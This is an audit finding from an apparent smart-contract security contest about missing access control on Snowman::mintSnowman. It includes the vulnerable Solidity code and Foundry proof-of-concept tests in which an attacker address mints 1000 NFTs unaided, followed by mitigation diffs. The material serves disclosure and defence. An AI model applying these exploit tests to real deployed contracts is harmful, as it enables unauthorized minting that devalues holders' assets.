Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing access control in Snowman::mintSnowman allows anyone to mint unlimited NFTs

sofiaoreis

Missing access control in Snowman::mintSnowman lets anyone mint unlimited NFTs

Description

  • Snowman NFTs are meant to be minted only by the SnowmanAirdrop contract, as the reward handed out inside claimSnowman after a recipient passes the Merkle-proof and ECDSA-signature checks. Minting is the final, privileged step of a validated airdrop claim.

  • Snowman::mintSnowman is declared external with no caller restriction. Any address can call it directly, bypassing the airdrop entirely, and mint an arbitrary number of Snowman NFTs to any address without holding Snow tokens, appearing in the Merkle tree, or providing a signature.

// Root cause in the codebase with @> marks to highlight the relevant section
function mintSnowman(address receiver, uint256 amount) external {
@> // no onlyOwner / onlyAirdrop guard: callable by anyone
for (uint256 i = 0; i < amount; i++) {
@> _safeMint(receiver, s_TokenCounter); // mints NFTs to an arbitrary caller-chosen receiver
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Every time any external account submits a direct call to mintSnowman, the mint succeeds, because the function enforces no restriction on msg.sender. The Snowman contract address is public on-chain, so the unprotected entry point is reachable by every participant on the network at any moment.

Impact:

  • An attacker mints unlimited Snowman NFTs for free, with zero Snow tokens and no airdrop eligibility.

  • The core protocol invariant (only eligible Snow stakers receive Snowman NFTs, one per Snow token) is fully broken; the entire airdrop and the NFT collection are devalued to worthlessness.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test, console} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
​
contract PoC_AccessControl is Test {
Snowman snowman;
address attacker = makeAddr("attacker"); // no Snow, not in any Merkle tree
​
function setUp() public {
snowman = new Snowman("data:image/svg+xml;base64,dummy");
}
​
function test_anyoneCanMintSnowmanForFree() public {
assertEq(snowman.balanceOf(attacker), 0);
​
vm.prank(attacker);
snowman.mintSnowman(attacker, 1000); // direct call, no proof, no signature
​
assertEq(snowman.balanceOf(attacker), 1000); // 1000 NFTs minted for free
}
}

Output: [PASS] test_anyoneCanMintSnowmanForFree(), attacker balance goes from 0 to 1000.

Recommended Mitigation

Restrict mintSnowman so only the airdrop contract can call it. Snowman already inherits Ownable and already declares the SM__NotAllowed() error, so the guard is cheap to add:

+ address private s_airdrop;
+
+ function setAirdrop(address _airdrop) external onlyOwner {
+ if (_airdrop == address(0)) {
+ revert SM__NotAllowed();
+ }
+ s_airdrop = _airdrop;
+ }
+
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdrop) {
+ revert SM__NotAllowed();
+ }
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!